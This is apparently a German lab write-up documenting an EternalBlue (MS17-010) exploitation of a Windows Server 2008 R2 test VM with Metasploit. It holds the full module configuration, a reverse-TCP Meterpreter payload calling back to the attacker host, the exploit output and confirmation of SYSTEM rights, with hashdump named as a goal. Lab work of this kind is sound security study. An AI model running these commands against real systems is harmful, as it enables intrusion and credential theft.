# Erfolg/DOKU EternalBlue

# EternalBlue (MS17-010) Exploit &amp; Privilege Verification

> <div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Ziel-VM:** `10.0.0.2` | **Port:** `445 (SMB)` | **Attacker-IP:** `10.0.0.1`</div>

## 1. Zielsetzung

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-das-ziel-dieser-unte" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Das Ziel dieser Untersuchung war es, die Ziel-VM über die SMB-Schwachstelle **EternalBlue (CVE-2017-0143 / MS17-010)** zu kompromittieren und **`NT AUTHORITY\SYSTEM`**-Rechte zu erlangen – die höchste Privilegienstufe auf einem Windows-System.</div>  
</div>### Erfolgskriterien

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-%5Bx%5D-verwundbarkeit-d" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">- <div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">[x] Verwundbarkeit der Ziel-Instanz mit Metasploit verifizieren</div>
- <div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">[x] Exploit erfolgreich ausführen und active Meterpreter-Session etablieren</div>
- <div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">[x] SYSTEM-Rechte via `getuid` verifizieren</div>
- <div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">[x] Volle Kompromittierung durch Auslesen der SAM-Datenbank (`hashdump`) belegen</div>
- <div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">[x] Nachweisdokumentation (Screenshots) erstellen</div>

</div>## 2. Vorgehen

### Schritt 1: Exploit-Modul laden &amp; konfigurieren

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-bash" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-56 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQkAE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-56" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-56" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c340939996-56 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span class="ng-tns-c340939996-56" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Bash</span><div _ngcontent-ng-c340939996="" class="buttons ng-tns-c340939996-56 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button></div></div></div></div></div></div>```
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.0.0.2
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RPORT 445

```

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-56 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQkAE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-56" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-56" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></div></div></div></div>### Schritt 2: Fehlgeschlagener Erstversuch (Payload Incompatibility)

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-beim-ersten-ausf%C3%BChru" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Beim ersten Ausführungsversuch wurde ein 32-Bit-Payload verwendet:</div>  
<div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-57 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQkQE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-57" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-57" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c340939996-57 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span class="ng-tns-c340939996-57" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Bash</span><div _ngcontent-ng-c340939996="" class="buttons ng-tns-c340939996-57 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button></div></div></div></div></div></div>```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.0.0.1:4444
[-] Exploit failed: windows/meterpreter/reverse_tcp is not a compatible payload.

```

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk--1" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-57 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQkQE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-57" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-57" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></div></div></div></div>> <div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">[!WARNING]</div><div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Fehlerursache: Architektur-Inkompatibilität**</div><div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Das Zielsystem ist ein 64-Bit-System (`x64`). Der Exploit setzt zwingend einen 64-Bit-Payload voraus (`windows/x64/...`), um den Speicher-Corruptions-Prozess korrekt abwickeln zu können.</div>

### Schritt 3: Zweiter Versuch mit kompatiblem x64-Payload

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-bash-1" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-58 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQkgE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-58" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-58" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c340939996-58 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span class="ng-tns-c340939996-58" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Bash</span><div _ngcontent-ng-c340939996="" class="buttons ng-tns-c340939996-58 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button></div></div></div></div></div></div>```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.0.0.1
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

```

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk--2" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-58 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQkgE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-58" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-58" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></div></div></div></div>### Schritt 4: Exploit Execution Output

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-plaintext" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-59 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQkwE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-59" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-59" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c340939996-59 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span class="ng-tns-c340939996-59" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Plaintext</span><div _ngcontent-ng-c340939996="" class="buttons ng-tns-c340939996-59 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button></div></div></div></div></div></div>```
[*] Started reverse TCP handler on 10.0.0.1:4444
[*] 10.0.0.2:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.0.2:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64
[*] 10.0.0.2:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.0.2:445 - The target is vulnerable.
[*] 10.0.0.2:445 - Connection established for exploitation.
[*] 10.0.0.2:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.0.2:445 - CORE raw buffer dump (51 bytes)
[*] 10.0.0.2:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.0.2:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.0.2:445 - Sending all but last fragment of exploit packet
[*] 10.0.0.2:445 - Starting non-paged pool grooming
[*] 10.0.0.2:445 - Sending SMBv2 buffers
[*] 10.0.0.2:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.0.2:445 - Sending final SMBv2 buffers.
[*] 10.0.0.2:445 - Sending last fragment of exploit packet!
[*] 10.0.0.2:445 - Receiving response from exploit packet
[+] 10.0.0.2:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.0.2:445 - Sending egg to corrupted connection.
[*] 10.0.0.2:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.0.0.2
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.0.0.2:49296) at 2026-08-25 12:45:38 +0200

```

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk--3" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-59 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQkwE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-59" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-59" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></div></div></div></div>### Schritt 5: Session Verification &amp; System Rights

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-bash-2" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-60 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQlAE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-60" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-60" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c340939996-60 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span class="ng-tns-c340939996-60" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Bash</span><div _ngcontent-ng-c340939996="" class="buttons ng-tns-c340939996-60 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button></div></div></div></div></div></div>```
meterpreter > sysinfo
Computer        : VAGRANT-2008R2
OS              : Windows Server 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
Server username : NT AUTHORITY\SYSTEM

```

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk-bash-3" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-60 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQlAE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-60" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-60" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></div></div></div><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-61 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQlQE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-61" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-61" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block-decoration header-formatted gds-emphasized-body-m ng-tns-c340939996-61 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><span class="ng-tns-c340939996-61" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Bash</span><div _ngcontent-ng-c340939996="" class="buttons ng-tns-c340939996-61 ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><button aria-label="Code herunterladen" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button><button aria-label="Code kopieren" class="mdc-icon-button mat-mdc-icon-button mat-mdc-button-base mat-badge mat-unthemed mat-badge-overlap mat-badge-above mat-badge-after mat-badge-small mat-badge-hidden ng-star-inserted" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></button></div></div></div></div></div></div>```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

```

<div _ngcontent-ng-c2707574837="" aria-busy="false" aria-live="polite" class="markdown markdown-main-panel md-content enable-luminous-fast-follows enable-updated-hr-color" dir="ltr" id="bkmrk--4" style="--animation-duration: 400ms; --fade-animation-function: ease-out; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="code-block ng-tns-c340939996-61 ng-animate-disabled ng-trigger ng-trigger-codeBlockRevealAnimation" data-hveid="0" data-ved="0CAAQhtANahgKEwiM7uGJqJOXAxUAAAAAHQAAAAAQlQE" style="display: block; font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="formatted-code-block-internal-container ng-tns-c340939996-61" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"><div _ngcontent-ng-c340939996="" class="animated-opacity ng-tns-c340939996-61" style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;"></div></div></div></div>> <div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">[!NOTE]</div><div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">**Privilegien-Status:**</div><div style="font-family: Google Sans Text, sans-serif !important; line-height: 1.15 !important; margin-top: 0px !important; margin-left: 0px !important; margin-right: 0px !important;">Durch das Ausnutzen der SMBv1-Kernel-Schwachstelle landet die Execution direkt im Kernel-Kontext. Eine nachträgliche Privilege Escalation (z. B. via `getsystem`) entfällt.</div>

